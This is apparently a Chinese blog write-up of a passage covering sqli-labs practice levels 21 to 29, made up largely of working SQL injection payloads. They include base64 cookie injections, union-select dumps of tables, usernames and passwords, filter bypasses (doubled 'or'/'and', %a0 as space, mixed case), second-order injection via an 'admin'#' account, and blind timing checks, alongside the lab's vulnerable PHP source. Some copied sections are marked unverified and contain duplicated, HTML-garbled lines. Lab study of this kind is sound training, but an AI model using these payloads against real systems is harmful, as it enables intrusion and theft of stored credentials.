YWRtaW4nIGFuZCAxPTEgLS0r    //密文


看到紅圈處的提示,所以應該構造 ') 這種的 

這裏就不演示爆行數了,上一題已經做過了。

經過我多次測試,--+在此處不好用,需要使用#來註釋。

 

示例爆庫paylaod:

-admin') union select 1,2,database()#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==
接下來只需要修改第三條查詢語句,和less-20一樣(注意用#註釋,而不用--+),只要base64加密後寫入cookie,就可以完成注入,不再贅述。

注入完成。

 

 

Less-22 Cookie Injection- Error Based- Double Quotes - string (基於錯誤的雙引號字符型Cookie注入)
base64編碼,雙引號,報錯型,cookie型注入。

和less-21一樣的,只需要使用雙引號代替單引號再取掉括號,一樣的配方一樣的味道。

不再贅述。

樣例payload

-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
注入完成。

 

 

Less-23 GET - Error based - strip comments (基於錯誤的,過濾註釋的GET型)
基於錯誤-無評論

這道題不看php很蒙,我試了半天還是去看php了:

看到替換了能用的註釋符,所以我們構造閉合語句:

爆庫payload

?id=' union select 1,2,database() '
爆表payload

?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
爆列名payload

?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
爆值payload

?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
 

注入完成。

 

 

Less - 24 Second Degree Injections  *Real treat* -Store Injections (二次注入)
二次注入

我們的步驟是

1.註冊一個admin'#的賬號。

2.登錄admin'#該,修改該帳號的密碼,此時修改的就是admin的密碼,我修改爲123456。

Sql語句變爲UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

也就是執行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'

成功的話跳轉頁面會提示Password successfully updated

3.用剛修改的密碼我的是123456,登陸admin管理員賬號,就可以成功登陸。

 

注入結束。

 

 

Less-25 Trick with OR & AND (過濾了or和and)
OR & AND 欺騙

測試一下

payload
?id=1' #
 
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in F:\WhiteFlie\PhpStudy20180211\PHPTutorial\WWW\sqli-labs\Less-25\index.php on line 37
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
 
 
payload
?id=1' --+
 
Your Login name:Dumb
Your Password:Dumb
看到id周圍全是單引號,

但是第二種payload沒有報錯,可以注入。

方法一,--+繞過,一般注入。

樣例payload

?id=-1' union select 1,2,database()--+
有必要說一下這題在爆值的時候對password進行了處理,查詢password列,回顯no column passwd,所以雙寫or繞過

同理information也是。

樣例paload

?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+
 

方法二,雙寫or或and繞過

測試payload

?id=0' oorr 1=1 --+
?id=2' aandnd 1=1 --+
or and形成閉合語句,sql查詢,不再贅述。

注入結束。

 

Less-25a Trick with OR & AND Blind (過濾了or和and的盲注)
那麼盲注怎麼判斷過濾了and跟or呢,直接在前面添加or或and

 

不同於25關的是sql語句中對於id,沒有''的包含,同時沒有輸出錯誤項,報錯注入不能用。其餘基本上和25示例沒有差別。

 

此處採取兩種方式:延時注入和聯合注入。

http://10.10.10.139/sql/Less-25a/?id=-1%20||%20if(length(database())=8,1,sleep(5))#
http://10.10.10.139/sql/Less-25a/?id=-1%20union%20select%201,database(),3#
 

Less-26(failed) Trick with comments and space (過濾了註釋和空格的注入)
 評論欺騙

測試半天,沒什麼進展,查一下php文件

// take the variables 
if(isset($_GET['id']))
{
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);
 
    //fiddling with comments
    $id= blacklist($id);
    //echo "<br>";
    //echo $id;
    //echo "<br>";
    $hint=$id;
 
// connectivity 
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";    
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
      }
    else 
    {
        echo '<font color= "#FFFF00">';
        print_r(mysql_error());
        echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}
 
 
 
 
function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);            //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
}
可以看到function blacklist($id) 來了個過濾全家桶,$id 周圍是單引號,過濾了 or,and , /* , – , # , 空格 , /

*********************************************************************************************************************************

到這裏就出現問題了,從本題到28a,都注入失敗,估計是下面這種情況,難受的是我linux虛擬機出問題了,現在還沒搞好,這幾天之內會回來搞定的。

注意:本關可能有的朋友在windows下無法使用一些特殊的字符代替空格,此處是因爲apache的解析的問題,這裏請更換到Linux平臺下。

 

*************************************************************************************************************************************

 

 

?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1  爆數據庫
?id='%a0uNion%a0sElect(1),(group_concat(table_name)),(3)%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271  爆表
?id='%a0uNion%a0sElect(1),group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0%26%26%a0table_name='emails'%26%26%a0%271%27=%271 爆列
?id='%a0uNion%a0sElect(1),group_concat(email_id),3%a0from%a0emails%a0uniOn%a0seLect (1),2,'3  提取數據
 這題做不下去了

/*26-28轉https://blog.csdn.net/nzjdsds/article/details/77430073#t9*/
/*以下26-28未經驗證*/
less 26  Trick with comments and space (過濾了註釋和空格的注入)
確認過濾了#
 
http://10.10.10.139/sql/Less-26/?id=%231
 
確認過濾了or
 
http://10.10.10.139/sql/Less-26/?id=or1
 
確認過濾多行註釋符
 
http://10.10.10.139/sql/Less-26/?id=/*1
 
確認過濾了單行註釋
 
http://localhost/sqli-labs/Less-26/?id=--1 
 
確認過濾了斜槓
 
http://10.10.10.139/sql/Less-26/?id=/1
 
確認過濾了反斜槓
 
http://10.10.10.139/sql/Less-26/?id=\
 
確認過濾了空格,報錯注入才行哦,這個判斷
 
http://10.10.10.139/sql/Less-26/?id=1' ' '

源碼部分

$id= preg_replace('/or/i',"", $id);
 
$id= preg_replace('/and/i',"", $id);
 
$id= preg_replace('/[\/\*]/',"", $id);
 
$id= preg_replace('/[--]/',"", $id);
 
$id= preg_replace('/[#]/',"", $id);
 
$id= preg_replace('/[\s]/',"", $id);
 
$id= preg_replace('/[\/\\\\]/',"", $id);
 

下面看看繞過吧,看着都難繞,這次就提取完整的數據吧,

我們常見的繞過空格的就是多行註釋,/**/但這裏過濾了,所以這行不通,

 

將空格,or,and,/*,#,--,/等各種符號過濾,此處對於and,or的處理方法不再贅述,參考25.此處我們需要說明兩方面:對於註釋和結尾字符的我們此處只能利用構造一個 ' 來閉合後面到 ' ;對於空格,有較多的方法:

 

%09 TAB鍵(水平)

%0a 新建一行

%0c 新的一頁

%0d return功能

%0b TAB鍵(垂直)

%a0 空格

 

注意:本關可能有的朋友在windows下無法使用一些特殊的字符代替空格,此處是因爲apache的解析的問題,這裏請更換到Linux平臺下。

 

sql語句爲:SELECT * FROM users WHERE id='$id' LIMIT 0,1

 

我們首先給出一個最爲簡單的payload:

http://127.0.0.1/sqllib/Less-26/?id=1'%a0||'1

 

Explain:'%a0||'1

同時,我們此處的sql語句爲SELECT * FROM users WHERE id='1' || '1' LIMIT 0,1

 

第一個 ' 首先閉合id='$id' 中的',%a0是空格的意思,

 

(ps:此處我的環境是ubuntu14.04+apache+mysql+php,可以解析%a0,此前在windows+wamp測試,不能解析%a0,有知情的請告知。)

 

同時%0b也是可以通過測試的,其他的經測試是不行的。||是或者的意思,'1則是爲了閉合後面的 ' 。

 

注意在hackbar中輸入&&時,需要自行URL編碼爲%26%26,否則會報錯,而輸入||不需要

 

確認字段數

http://10.10.10.139/sqli/Less-26/?id=0%27union%a0select%a01,2,3,4%a0%26%26%a0%271%27=%271


http://10.10.10.139/sqli/Less-26/?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271


查數據庫名

http://10.10.10.139/sql/Less-26/?id=0'union%a0select%a01,database(),3%26%26'1'='1
 

 

中間補充一個函數group_concat()

 

能將同行的內容組合一起顯示出來

 

詳解傳輸

 

查表名(information裏面有一個or會被過濾掉所以需要雙寫infoorrmation)(這裏用&&)

http://10.10.10.139/sql/Less-26/?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1
 

 

查字段名(這裏需要注意and也需要雙寫)

 

http://10.10.10.139/sql/Less-26/?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1


 

查數據

http://10.10.10.139/sql/Less-26/?id=0'%a0union%a0select%a01,group_concat(username),3%a0from%a0users%a0where%a0'1%27='1 


 

 

也可以一起查

 

http://10.10.10.139/sql/Less-26/?id=0'%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1 


 

這裏不同的是後面多了where '1'='1,是爲了讓語句變成無約束查詢

 

詳解where 1=1

 

還有一種就是用連接符結合上幾天xpath報錯獲取信息來獲取信息:

http://10.10.10.139/sql/Less-26/?id=-1'||updatexml(1,concat('~',database(),'~'),3)||'
具體的我就演示了,方法可以有很多的,小夥伴們可以自行嘗試

 

less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(過濾了空格和註釋的盲注)
 

這關與26的區別在於,sql語句添加了一個括號,同時在sql語句執行拋出錯誤後並不在前臺頁面輸出。所有我們排除報錯注入,這裏依舊是利用union注入。

 

sql語句爲   SELECT * FROM users WHERE id=('$id') LIMIT 0,1

 

 

查數據庫名

http://10.10.10.139/sql/Less-26a/?id=100')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1

 

查表名

http://10.10.10.139/sql/Less-26a/?id=100')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1


查字段名

http://10.10.10.139/sql/Less-26a/?id=100')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1


查數據

http://10.10.10.139/sql/Less-26a/?id=100')%0bunion%0bselect%0b1,group_concat(passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1


 

 

http://10.10.10.139/sql/Less-26a/?id=100')%0bunion%0bselect%0b1,group_concat(passwoorrd,username),3%0bfrom%0busers%0bwhere%0b('1')=('1


 

接下來的我換了Ubuntu的環境去測試,之前是win2003+phpstudy的環境,因爲27關在這裏面就不會報錯了,我也不知道爲什麼,換了一個環境就好了

 

less 27 GET - Error Based- All your UNION & SELECT belong to us (過濾了union和select的)
 

老樣子先看看是否過濾了單引號,發現是過濾的

 


 

 

是否過濾空格,也是過濾的

 

 

看是否過濾關鍵字

 

也是過濾的,但是大小寫可以突破的

 

看下源碼

 

m (PCRE_MULTILINE)默認情況下,PCRE 認爲目標字符串是由單行字符組成的(然而實際上它可能會包含多行), "行首"元字符 (^) 僅匹配字符串的開始位置, 而"行末"元字符 ($) 僅匹配字符串末尾, 或者最後的換行符(除非設置了 D 修飾符)。這個行爲和 perl 相同。 當這個修飾符設置之後,“行首”和“行末”就會匹配目標字符串中任意換行符之前或之後,另外, 還分別匹配目標字符串的最開始和最末尾位置。這等同於 perl 的 /m 修飾符。如果目標字符串 中沒有 "\n" 字符,或者模式中沒有出現 ^ 或 $,設置這個修飾符不產生任何影響。s (PCRE_DOTALL)如果設置了這個修飾符,模式中的點號元字符匹配所有字符,包含換行符。如果沒有這個 修飾符,點號不匹配換行符。這個修飾符等同於 perl 中的/s修飾符。 一個取反字符類比如 [^a] 總是匹配換行符,而不依賴於這個修飾符的設置。/m  當設定了此修正符,“行起始”和“行結束”除了匹配整個字符串開頭和結束外,還分別匹配其中的換行符的之後和之前。這和 Perl 的 /m 修正符是等效的。如果目標字符串中沒有“\n”字符或者模式中沒有 ^ 或 $,則設定此修正符沒有任何效果。  實際上就就是匹配多行的意思?

 

/s 使圓點元字符(.)匹配換行符,  上面這裏沒有點就不用管了,那麼上面直接大小寫繞過就可以了

 

爆數據庫

http://10.10.10.141/sql/Less-27/?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1 

 

這裏的or '1 ' = '1是爲了閉合和後的' 變成or '1'='1' limit 1,1   讓語句完整

 

查表名    (這裏需要把or換成&&(%26%26))

http://10.10.10.141/sql/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1


查字段名

http://10.10.10.141/sql/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1 


查數據

http://10.10.10.141/sql/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3

 

在查數據的時候我參考的那個語句是

http://10.10.10.141/sql/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect (1),(2),'(3
後來我把最後後面聯合查詢的        括號     都去掉,發現都沒問題就是把    1   的括號去掉的時候報錯了,然後我在前面加個%a0又正常了,我的猜想大概是原作者是爲了防止空格被過濾   然後後面的參數會跟前面的參數黏在一起發生了錯誤,加上了括號即使被過濾也可以讓系統來區分不至於報錯。

這是原作者的語句

<span style="color:#000000;">http</span><span style="color:#666600;">:</span><span style="color:#880000;">//localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1  爆數據庫</span><span style="color:#000000;">
http</span><span style="color:#666600;">:</span><span style="color:#880000;">//localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(group_concat(table_name)),(3)%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271  爆表</span><span style="color:#000000;">
http</span><span style="color:#666600;">:</span><span style="color:#880000;">//localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0%26%26%a0table_name='emails'%26%26%a0%271%27=%271 爆列</span><span style="color:#000000;">
http</span><span style="color:#666600;">:</span><span style="color:#880000;">//localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(email_id),3%a0from%a0emails%a0uniOn%a0seLect (1),2,'3  提取數據</span>
://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1  爆數據庫
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(group_concat(table_name)),(3)%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271  爆表
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0%26%26%a0table_name='emails'%26%26%a0%271%27=%271 爆列
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(email_id),3%a0from%a0emails%a0uniOn%a0seLect (1),2,'3  提取數據
://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1 爆數據庫 http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(group_concat(table_name)),(3)%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271 爆表 http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0%26%26%a0table_name='emails'%26%26%a0%271%27=%271 爆列 http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(email_id),3%a0from%a0emails%a0uniOn%a0seLect (1),2,'3 提取數據

都加了空格這樣用union select就可以避免空格了,就算空格被過濾也沒關係

 

 

less 27a GET - Blind Based- All your UNION & SELECT belong to us
 

這個是less 27的盲注版本,雙引號型的

http://10.10.10.141/sql/Less-27a/?id=1"or "1"="1


下面給出盲注的payload

http://10.10.10.141/sql/Less-27a/?id=1"and(length(database())>7)%a0uNion%a0sELect%a01,2,"3


http://10.10.10.141/sql/Less-27a/?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3
 

 

 

查數據庫

http://10.10.10.141/sql/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3


 

查表名:

 

查表面需要閉合後面雙引號我就用"1"="1來閉合,前面還需要&&(%26%26)並一起,要不然會顯示不出來,這個我經常忘記,沒有就會出現這種情況

 

http://10.10.10.141/sql/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1

 

查字段名

http://10.10.10.141/sql/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1


 

查數據(注意這裏需要把&&給去掉,我也是經常忘記)

http://10.10.10.141/sql/Less-27a/?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3

 

 

這裏的話提數據除了後面再接查詢語句外,還可以用where 1=1還提數據,當然前面也同樣適用,只是我現在纔想到

http://10.10.10.141/sql/Less-27a/?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0where%a0"1"="1

 

less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基於錯誤的,有括號的單引號字符型,過濾了union和select等的注入
 

這裏我需要說明下,我做題的時候不小心做錯了,一直以爲是28題,後來才發現是28a的題目,然後我把測試語句放到28題裏面測試了都一樣的,就是URL28後面多個a少個a的區別,這裏我就不補充啦,太累了,做28你們可以參照下面的來做一樣的

 

28a說是盲注,但是不知道爲啥竟然可以報錯,這裏我就把盲注的代碼也拿過來備用

 

加紅的部分是我容易犯錯的地方,對於盲注大家還是用腳本跑的比較好

<span style="color:#333333;">長度是8
http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>7)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>8)and('1')=('1
第一個字符是115,即s
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((</span>sElect%a0database()<span style="color:#333333;">),1,1))>114)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((</span>sElect%a0database()<span style="color:#333333;">),1,1))>115)and('1')=('1</span>
sElect%a0database()),1,1))>114)and('1')=('1
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>115)and('1')=('1
sElect%a0database()),1,1))>114)and('1')=('1 
http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>115)and('1')=('1
 

 

 
 
less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基於盲注的,有括號的單引號字符型,過濾了union和select等的注入
 

 

開始之前我們需要打開源碼把裏面的註釋給去除,增加挑戰難度

 

 

 

 

 

那個i表示正在匹配的模式,i是忽略大小寫,\s就是匹配任意空白字符,製表符啊,換行啊空格啊等

 

那我們中間不加空格能繞過吧還是用%a0吧

 

 

老規矩,我先輸入單引號,然後雙引號,看報錯,猜測下語句裏面用的是什麼這裏我用單引號報錯了,然而雙引號沒有報錯

 

單引號

 

雙引號

 

 

然後輸入(,看會不會報錯

http://10.10.10.141/sql/Less-28a/?id=1)''


 

後面單引號是閉合原來語句的單引號,加上)沒錯,說明原來的語句有括號

 

語句可能就是 select *from users where id=('xxx')

 

查數據庫

http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,database(),('3')=('3


或者這樣可以的,主要關注的是需要閉合原語句後面的')

http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,database(),3%a0or%a0('1')=('1
 

 

查表名:(這裏別忘記把or換成&&)

http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0('1')=('1
 

 

查字段名

http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0ANd%a0table_name='users'%a0%26%26%a0('1')=('1

 

查數據(把&&換成where)

 

http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0where%a0('1')=('1


 

還有這個

http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0UNion%a0SELect%a01,2,('3')=('3

/*以上26-28未經驗證*/
/*接下來是我自己做的了*/
Less-29 基於WAF的一個錯誤
用WAF防護

測試:輸入雙引號正常,輸入一個引號發生錯誤,兩個引號正常

那麼語句可能是 select * from users where id='xx' limit 1,1

嘗試注入payload:

?id=-1' union select 1,2,database()--+
庫爆出來了,後面步驟一樣,該幹嘛幹嘛就完事了。

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
 
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+
啥玩意啊,什麼world's best firewall 直接查完了,過於簡單不再贅述。

 

我閒的dan疼去查了一下waf繞過方法,大佬們是這麼說的;

waf是隻允許輸入數字的,我們在輸入數字的時候先給waf看然後檢測正常後才轉發給我們需要訪問的頁面,那篇文章是有寫到的,這裏我弄2個值,一個是用來欺騙waf的。另一個纔是給我們需要訪問頁面的

看一下這篇博客,http://blog.csdn.net/nzjdsds/article/details/77758824

再結合源碼瞭解一下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-29 Protection with WAF</title>
</head>
 
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
 
 
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
//disable error reporting
error_reporting(0);
 
// take the variables 
if(isset($_GET['id']))
{
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);
 
    $qs = $_SERVER['QUERY_STRING'];
    $hint=$qs;
 
// connectivity 
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
          echo "<font size='5' color= '#99FF00'>";    
          echo 'Your Login name:'. $row['username'];
          echo "<br>";
          echo 'Your Password:' .$row['password'];
          echo "</font>";
      }
    else 
    {
        echo '<font color= "#FFFF00">';
        print_r(mysql_error());
        echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}
 
 
?>
 
</font> </div></br></br></br><center>
<img src="../images/Less-29.jpg" />
</br>
</br>
</br>
<img src="../images/Less-29-1.jpg" />
</br>
</br>
<font size='4' color= "#33FFFF">
<?php
echo "Hint: The Query String you input is: ".$hint;
?>
</font> 
</center>
</body>
</html>

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章